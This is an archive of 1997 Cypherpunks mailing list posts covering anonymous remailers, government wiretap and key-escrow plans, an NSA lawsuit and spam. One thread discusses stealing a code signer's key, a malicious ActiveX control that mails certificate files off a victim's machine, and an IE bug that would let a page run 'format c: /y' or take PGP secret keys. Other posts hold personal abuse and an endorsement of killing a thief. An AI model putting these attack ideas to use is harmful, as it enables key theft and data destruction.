> enough that ignoring it would be doing them a favor (After a while they
> _might_ get the idea that no one with a clue SENDS mail  "mailer-deamon",
> and change their login.

  I'd like to see a show of hands to see how many list members have 
received any posts from nancy.net/sally.net/conentric.net that they
didn't personally delete without reading.
  These people don't seem to realize that the CypherPunks aren't 
interested in finding out how to "Make Big $$$ At Home, Licking Your
Own Dick", because we do it anyway, without any expectations other 
than our own, personal reward.

  I do find snow's post rather embarassing, however, since I just sent 
an email asking mailer-daemon to marry me.
  It's bad enough being rejected, but being auto-rejected really cuts
to the bone.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 3 Mar 1997 06:50:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703031450.GAA06460@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 3 Mar 97 6:45:58 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             -++++++++-++  1:22:34  99.99%
hidden   remailer@hidden.net                    *++.-#  5:22:40  99.98%
balls    remailer@huge.cajones.com        ###--*.###-#  2:44:25  99.98%
nym      config@nym.alias.net             +*#*#+**+-++    16:11  99.98%
exon     remailer@remailer.nl.com         *+#*#+#++#*#     2:24  99.95%
winsock  winsock@rigel.cyberpass.net      ------------  5:40:48  99.94%
cyber    alias@alias.cyberpass.net        -+ *++*+ ***    28:51  99.63%
extropia remail@miron.vip.best.com        __.._--__.-+ 22:39:55  99.55%
replay   remailer@replay.com              --**++**+***    15:52  99.41%
dustbin  dustman@athensnet.com            ---+---._.    3:25:41  99.03%
middle   middleman@jpunix.com             - -- -_*---   2:17:36  98.95%
lucifer  lucifer@dhp.com                  -++++++  +++    44:00  98.82%
reno     middleman@cyberpass.net           .- +-  -. -  1:12:29  96.16%
jam      remailer@cypherpunks.ca          ** ***  +*      53:49  94.54%
shaman   remailer@lycaeum.org                 *+++++ +    24:17  91.73%
haystack haystack@holy.cow.net              ##-+*+ ##      9:05  91.47%
mix      mixmaster@remail.obscura.com         . _      91:28:31  89.63%
squirrel mix@squirrel.owl.de              -+++            59:37  21.19%
wazoo    remailer@wazoo.com                               37:27  -5.74%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 3 Mar 1997 05:53:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Blowfish
Message-ID: <199703031353.IAA07986@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[retin] May prefers to have sex with little kids because his 
own penis is like that of a three-year-old.

 _  o
|<)_/# Tim C[retin] May
TT  <T





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Mar 1997 00:59:35 -0800 (PST)
To: jya@pipeline.com
Subject: sikrit mandatory GAK plans (was Re: Guardian on EU-FBI Wiretap Pact)
In-Reply-To: <1.5.4.32.19970228200633.00719d10@pop.pipeline.com>
Message-ID: <199703030855.IAA00133@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> posts an article from UK Gaurdian newspaper:

> The Guardian Weekly, Volume 156, Issue 9
> Week ending March 2, 1997, Page 4:
> 
> UK to join FBI phone taps
> 
> Richard Norton-Taylor and Alison Daniels
> 
> BRITAIN has secretly agreed with its European Union partners to set up
> an international telecommunications tapping system in co-operation
> with the FBI, it was revealed on Monday.
> 
> The agreement covers telephones and written communications -- telexes,
> faxes and e-mail. To make tapping easier, telecommunications companies
> will be obliged to give security and intelligence agencies the key to
> codes installed in equipment sold to private customers.

Sounds like this will cover any communications software or hardware
commercially available.  Looks like mandatory GAK.  It is interesting
that they should target commercial suppliers, rather than users.

Also interesting that they should feel unsure enough about public
opinion to plan it all in secret.

To those who said the US 1st ammendment would prevent this happening
in the US: looks like you were wrong.  Has there been any
corresponding US press on the FBI side of the sikrit GAK plans?

> Detailed plans are being drawn up by officials in a secret network of
> EU committees established under the "third pillar" of the Maastricht
> Treaty, covering co-operation on law and order issues.

Blech.  These people have _no_ respect for democracy, it's all secret
cloak and dagger stuff.  Is that anyway for laws to be decided in
supposedly democratic countries?  Does the public have no right to
affect the introduction of new laws?  I suppose the spooks know better
what's good for us than we do?

> Civil liberties groups, while agreeing that there was a need for such
> an agreement to fight against serious crime, 

Erm which `civil liberties group' agreed that there was a need for
mandatory GAK?

> said the plans raised a number of privacy and data protection issues
> and must be the subject of a full public debate.

To damn right privacy issues are raised, and that the subject should
be open for public debate.

> Britain is an enthusiastic supporter of joint action in this area,
> which is conducted on an inter-governmental basis with no role for the
> European Commission, the European Parliament or the European Court of
> Justice. It is an area where the EU's "democratic deficit" is most
> evident.
> 
> Key points of the plan are outlined in a memorandum of understanding
> signed by EU states in 1995, which is still classified.

Un-fucking-believeable!  Classified documents determining the
_publics_ future right to freedom of speech.  You don't even get to
see the document let alone discuss it.  Signed way back in 1995.

> It reflects increasing concern among European intelligence agencies
> that modern technology will prevent them from tapping private
> communications.  EU governments agreed to co-operate closely with
> the FBI in Washington as they work out detailed plans.

How about someone in the US puts in a FOIA for the FBI half of this?
(At least you guys have a FOIA).

Adam
-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bohus Simek <simek@econ.econ.umb.sk>
Date: Mon, 3 Mar 1997 01:07:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Pine.SUN.3.90.970303101151.4083A-100000@econ>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Mar 1997 11:45:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military Snooping
Message-ID: <1.5.4.32.19970303193819.00700ac8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green posted the message below elsewhere which 
raises provocative questions about military snooping on 
the Net to combat anonymizers and remailers:

[Forward]

At the FC'97 rump session, Paul Syverson from NRL presented 
a paper titled "Onion Routing". The description of the system 
sounds very much like Wei Dai's PipeNet. However, the 
development team seems to be unaware of PipeNet
and the discussions about it that we had in the past.

NLR has currently five machines implementing the protocol. 
Connection setup time is claimed to be 500 ms. They are looking 
for volunteers to run "Onion Routers". It appears the US military 
wants to access websites without giving away the fact that they 
are accessing the sites and is looking to us to provide the cover 
traffic. What a fortunate situation.

They said that the source would soon be on the web page, but so 
far it has not appeared.

http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/

[End forward]

For those who don't want NRL snooping on their accesses, we've 
put three of the Onion-Routing papers at:

   http://jya.com/onion.htm

   http://jya.com/privnet.htm

   http://jya.com/hri.htm  (a conversion from PDF)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 3 Mar 1997 14:13:39 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: DES Challenge / Who'da Thunk It?
In-Reply-To: <199703031434.JAA25007@www.video-collage.com>
Message-ID: <Pine.BSD/.3.91.970303165642.14171A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Mar 1997, Sean Roach wrote:

> At 02:36 PM 3/3/97 +0100, James Morris wrote:
> ...
> >Actually, there's a theory that the secret recipies for Coke, Pepsi and
> >Kentucky Fried Chicken are part of a biological chinese lottery, where
> >the results are collected via satellite-based spectrometry of atmospheric
> >methane radicals.  Note that children who are too young for these foods 
> >will quite happily eat Crayola.
> >
> >More than this I cannot say.
> 
> You might be interested to know that Pepsi owns Kentucky Fried Chicken.
> Take a look at the supply trucks some time, Taco Bell, Hot & Now (whatever
> that is), Kentucky Fried Chicken, and Pizza Hut are all Pepsico subsidaries.
> I'd say that the chips are weighted heavily on one side.  Hope you know
> which numbers to bet on.

I'd lay my $ on the suppliers of red dye #3, yellow dye #7, etc., and get 
Pepsi, Coke and Crayola fanciers all at once.

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 32685944@28723.com
Date: Thu, 26 Mar 1998 18:25:22 -0800 (PST)
To: tryitbeforeyoubuyit@yahoo.com
Subject: Try It Before You Buy It Special ! 45 Million Email Leads + Next Generation Mailers !!!
Message-ID: <tryitbeforeyoubuyit>
MIME-Version: 1.0
Content-Type: text/plain






Prices are skyrocketing as Non Democratic forces and Mail Censors take
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Mar 1997 16:37:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: NSA Sued by Cryptographer
Message-ID: <1.5.4.32.19970304003033.006ac3a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've received from Anonymous a copy of a February 28, 
1997, complaint against NSA by an ex-Sandia cryptographer:

   http://jya.com/nsasuit.txt  (41K)

The cryptographer, William Payne, was:

   project leader for the Missile Secure Cryptographic Unit 
   [MSCU] at Sandia between about 1982 and 1986.  The 
   MSCU was funded by NSA.  Payne designed and built 
   the hardware/software data authenticator for the US/USSR 
   Comprehensive Test Ban Treaty for Sandia between 
   1986 and 1992. Payne held SECRET clearance when 
   Payne worked for the Navy, DOE Q clearance, crypto and 
   SCI access while at Sandia.

The document says that Payne was a source for the Baltimore 
Sun story on NSA's "spiking" deal with CryptoAG*, and other 
stories, after he was fired in 1992 for attacking the quality of 
NSA's cryptography.

It includes descriptions of agreements between Sandia and 
NSA, algorithms, critiques and procedures. A sample:

   Payne revealed to the public the value 31. "The algorithm 
   required stepping two of its internal registers at a rate many 
   times the data rate."  

   NSA believes that 31 is classified.  Payne believes that this is 
   classification abuse.

   Therefore, Payne issued a FOIA to NSA crypto-mathematician Brian 
   Snow also on June 10, 1996.

     	I found no evidence that NSA possesses any special 
	crypto skills, and apparently hides its deficiencies 
	behind the veil of classification abuse.  

     	To the contrary, I discovered generic deficient 	
	crypto work. 

     	We brought this to the attention of NSA.  Sandia even      
	offered to help NSA fix its deficient crypto work.  
	And NSA attempted to correct its deficient crypto 	
	work.

     	Therefore, under 5 USC 522b I request access all 	
	technical documentation on, 

     	1    Benincasa's original NSS/USO algorithm,
     	2    Benincasa's revision of 1,
     	3    The Unkenholtz - Judy GRANITE algorithm,
     	4    Your MSCU algorithm,
     	5    the clipper algorithm,
     	6    the STU III algorithms.       

     	I feel that published analyses of the above 6 	
	algorithms will show the Clinton administration, 	
	congress, and the public that NSA possess no superior 
	knowledge of crypto matters. 

   Payne received no response from NSA.

----------

* "Cryptographic units were 'spiked' so that the crypto key was 
transmitted ['covert channel'] with the cipher text."

For more on the CryptoAG story see:

   http://jya.com/cryptoa2.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Mar 1997 16:52:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: 2-way anonymous ecash ?
Message-ID: <199703040052.BAA06479@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


  From: Peter Foldiak <Peter.Foldiak@st-andrews.ac.uk>
  Newsgroups: sci.crypt

On
http://www.digicash.com/ecash/aboutcrime.html
Digicash says:

"... ecash is not at all well suited for black markets, extortion,
bribes and tax evasion. The reason is that only the payer is anonymous,
the recipient of the money has no anonymity at all.
Furthermore, all money that the payee receives must be given to the
bank. It is not possible to hide from the bank the fact that you
received money (and thereby hide it from the authorities). So
tax-evasion is definitely out. For people who operate black markets
the same story holds. First of all, their income is visible. The second
reason is far better: if any of the customers ever wants to,
he can prove that a certain payment was made by him. This means that
a criminal accepting ecash
can be identified with the retroactive help one of his customers. ..."

Is this really true under all circumstances? Can (some kind of) e-cash
be made truly two-way anonymous, like physical cash?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Mar 1997 22:50:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Presidential decrees and emergency powers
In-Reply-To: <85708065028816@cs26.cs.auckland.ac.nz>
Message-ID: <199703040650.HAA15022@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm#POSTSCRIPT

Although slightly dated (it's before the latest regs), it hits some of the
main points.


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     |
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Mar 1997 06:53:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: NSA Sued by Cryptographer
Message-ID: <1.5.4.32.19970304144644.006ae054@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


I spoke this morning with cryptographer William H. Payne in NM 
(505-292-7037), who confirmed that the NSA suit is authentic. 

He spoke freely about it and said he was pleased that it was 
being publicized. There's more to tell, he says, and is
doing so through several pipelines.

Says NSA is crimping him financially in retribution, so he may
go offshore to make a living fighting their shitty crypto shenanigans.

-----

To see the suit:

   http://jya.com/nsasuit.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JC <jc@ender.morefreestuff.com>
Date: Tue, 4 Mar 1997 21:01:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free Stuff!!
Message-ID: <199703042104.NAA24812@ender.morefreestuff.com>
MIME-Version: 1.0
Content-Type: text/plain


Because your profile indicates you are a visionary, you have been
selected to participate in a marketing study where you will receive
FREE products at ABSOLUTELY NO COST TO YOU.

If you do NOT want to receive FREE PRODUCT SAMPLES, discounts and
other benefits only available to  CLUB MAIL (tm) members, hit reply
and put the word <REMOVE>  anywhere in the response, and we will never
email you again. BUT if you would like  FREE PRODUCT SAMPLES, 
discounts, and other benefits, absolutely  FREE  with no strings
attached, hit reply and include <MORE> anywhere in the response. 

Then, you will be enrolled in CLUB MAIL, "the place to get FREE STUFF
and more" (SM)

There is NO CHARGE and NO OBLIGATION,  you just have to want to get
the best stuff for less, even FREE.

HOW IT WORKS:

We have many manufactures of consumer merchandise ready and willing to
send it to you just for the asking. CLUB MAIL is a new service
connecting preferred consumers with top distributors and manufactures.
These companies are willing to go all out to get your attention. Even,
give away valuable products, with no strings attached!!

These companies know that the best form of advertising is word -of-
mouth. They are confident in their products and service.  They know
once you do business with them, you will want to tell your friends and
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When you email us back a <MORE> anywhere in the reply, we will add
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Mar 1997 12:17:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on NSA Suit
Message-ID: <1.5.4.32.19970304201045.00702f74@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've received another doc by cryptographer William H. Payne 
that preceded his NSA suit, sent to the Director of NSA, which 
claims to contain classified information on NSA crypto algorithms:

   http://jya.com/nsasuit2.txt

It amplifies information in the suit, and includes provocative material 
that was suit-and-tied for court.

There's governmental information via Altavista about Mr. Payne's 
parallel dispute with DOE.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Mar 1997 13:25:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: toad
In-Reply-To: <Pine.HPP.3.91.970304131108.18709A-100000@cor.sos.sll.se>
Message-ID: <59723D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Asgaard <asgaard@cor.sos.sll.se> writes:

> Why is cypherpunks@toad.com still appearing in headers
> and even on the From: line on many messages?
> Wasn't toad supposed to have shut down the cp list
> at Feb 20?
> 
> Asgaard
> 

John Gilmore lied.

So, what else is now?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Tue, 4 Mar 1997 12:40:49 -0800 (PST)
To: "John Lehmann (SSASyd)" <LEHMANNJ@saatchi.com.au>
Subject: RE: It is time to break Authenticode
In-Reply-To: <331BEF9B@smtp.saatchi.com.au>
Message-ID: <Pine.BSD/.3.91.970304150102.18186A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Mar 1997, John Lehmann (SSASyd) wrote:

[ ActiveX discussion snipped ]

> Perhaps an interesting "nudie screensaver" control could be made to mail   
> any Root.cer Cert.cer and Cert.spc (I guess) files lying around on the   
> target computer to a well known mailing-list...
> 
> One wonders whether it would even be illegal. *sigh* I suppose it would   
> be.

This may be feasible without resorting to ActiveX.  Microsoft IE 3.0 has a
nifty security bug that allows a malicious WWW page to run arbitrary
programs (e.g. "format c: /y").  Details (and a demo that starts the
Windows calculator locally) are at

  http://www.cybersnot.com/iebug.html

There are "uploader" programs for WWW servers; one of these should be
modifiable to look for %PGPPATH%/secring.pgp without prompting... 

The great (?) thing about this bug is that, since there is no confirmation
and the rogue programs don't use ActiveX or Java, you can't prevent a site
from trashing your PC.  (Except by trashing your copy of IE.)

Microsoft will have a fix out Real Soon Now, of course...

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Mar 1997 08:04:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Presidential decrees and emergency powers
In-Reply-To: <199703040650.HAA15022@basement.replay.com>
Message-ID: <199703041604.RAA06912@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Something got lost there, let's try again...



On Tue, 4 Mar 1997, Anonymous wrote:

http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm#POSTSCRIPT

Oh, the things we do to avoid spammers...

> Although slightly dated (it's before the latest regs), it hits some of the
> main points.
> 

> 
> A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
> Associate Professor of Law |
> U. Miami School of Law     |
> P.O. Box 248087            | http://www.law.miami.edu/~froomkin
> Coral Gables, FL 33124 USA | It's warm here. 
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Mar 1997 19:26:57 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: toad
In-Reply-To: <59723D2w165w@bwalk.dm.com>
Message-ID: <331CE7C4.72AB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Asgaard <asgaard@cor.sos.sll.se> writes:
> > Why is cypherpunks@toad.com still appearing in headers and even
> > on the From: line on many messages?  Wasn't toad supposed to have
> > shut down the cp list at Feb 20?

> John Gilmore lied.
> So, what else is now?

Well, it's sure convenient to have those messages pass thru Gilmore's
computer on the way to Igor or whomever, just in case Gilmore needs
some fodder for one of his public forums/interviews/disinfo campaigns.
Or in case he wanted to diddle with some of them, **not saying** that
we would do such a thing, of course.  He's never done that before,
has he?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Lehmann (SSASyd)" <LEHMANNJ@saatchi.com.au>
Date: Tue, 4 Mar 1997 00:35:16 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: It is time to break Authenticode
Message-ID: <331BEF9B@smtp.saatchi.com.au>
MIME-Version: 1.0
Content-Type: text/plain



> Microsoft's recent arrogant and irresponsible reply to the Chaos
> Computer Club hack on ActiveX requires response. An effective response
> would be to steal the key of a major code signer and produce a signed,
> malicious ActiveX control. Such an attack would demonstrate the
> serious problems of Microsoft's security philosophy.
>
> ...
>
> The best avenue of attack is stealing the secret key of a respected
> code signer. The target should be one of the major players, if not
> Microsoft itself. Someone is sloppy to store their secret key on a

It really should be Microsoft, for good exposure.

> getting signatures right is well understood. Still, does anyone have
> information on exactly how the signatures work?

http://www.microsoft.com/kb/articles/q159/8/93.htm

>
> Stealing the key itself will almost certainly be an illegal act.
> Morally, the demonstration signed control should itself not do damage.
> Something like the Exploder control (which warns the user before
> shutting down the machine) should be good enough to show the flaws of
> ActiveX without causing trouble.

The most interesting abuse the ActiveX thet I've heard of was a company   
that released an ActiveX control that modified the security manager used   
to verify and pass ActiveX controls, essentially registerring their   
company as a trusted provider.  Thus once this one control was accepted,   
all other controls signed by that company were automatically accepted by   
the browser.

The company quickly retracted the control and claimed that the   
authentication abuse was a feature put in while the control was in   
beta-cycle and accidently left in when it was finally released.  Oops!   
(This was reported on the www-security mailing list, but I have lost the   
ref)

Perhaps an interesting "nudie screensaver" control could be made to mail   
any Root.cer Cert.cer and Cert.spc (I guess) files lying around on the   
target computer to a well known mailing-list...

One wonders whether it would even be illegal. *sigh* I suppose it would   
be.

 --
JJL




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Mar 1997 18:30:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PR
In-Reply-To: <331C98F0.2318@sk.sympatico.ca>
Message-ID: <aDk33D126w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
>   So apparently, from this cop's point of view, my desire to save money
> on computer peripherals is 'nasty' business, and I have to expect to
> duck flying bullets so that he can attempt to administer the death
> penalty to some kid stealing a car radio.

The only person with any business administering the death penalty to the
kid stealing a car radio is the car owner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Mar 1997 12:55:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Forgery detection
Message-ID: <199703042048.VAA28825@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[retin] May is another loser who pays for got.net 
because he lacks the mental capacity to gain net access as 
a perk of either employment or academic achievment.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- Timothy C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: um@idril.shnet.org (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Apr 1997 13:34:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: hi-tech ROT-13
In-Reply-To: <199704012224.OAA19578@fat.doobie.com>
Message-ID: <m0w21nx-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


Someone who invented a pill that cures Alzheimer's (but it didn't do
any good, because nobody remembered to take it) writes:

> Assholes and the spammers will always take the time to learn what
> they need to know to spread their bullshit, but what about people
> who have a one or two-time legitimate need to pass information along
> in saftey?

Geoff Keaton's remailer applet has just been released under GPL
license, with source code.  Mixmaster applet soon to come.  That's
strong anonymity at a mouse click.  Sending anonymous mail never
has been easier.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: friend@Summers.com
Date: Wed, 5 Mar 1997 15:18:58 -0800 (PST)
To: pal@pwrnet.com
Subject: Extra Income
Message-ID: <199703052240.RAA54154@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


***********************************************************************
Our Research Has Indicated That The Following
Message Will Be Of Interest To You.
***********************************************************************

Imagine what you can do with...

 UP TO $800.00 A WEEK EXTRA INCOME!
 Here's How To Get Started

      Let me tell you which companies to contact so you can start to
 receive your checks. They can be $200.00, $400.00, even $800.00 per
 week, depending on what you do. You can earn this excellent income
 right at home. And you work only when you want to.

      My name is Henry Summers. I investigate income opportunities
 that are advertised in magazines or by mail or are listed in home work
 directories and other sources.

      Then I talk to people who are actually using these opportunities. I ask
 how much money they make... and whether they enjoy the work. This helps
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      Rosie says, "I'm retired, and I enjoy having something to do.
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                              Please Print and Mail This Order Form
  -----------------------------------------------------------------------------------------------
   SUMMERS PUBLICATIONS                                      # 30516  
   1010 Calle Cordillera, P.O. Box 3127                                                            
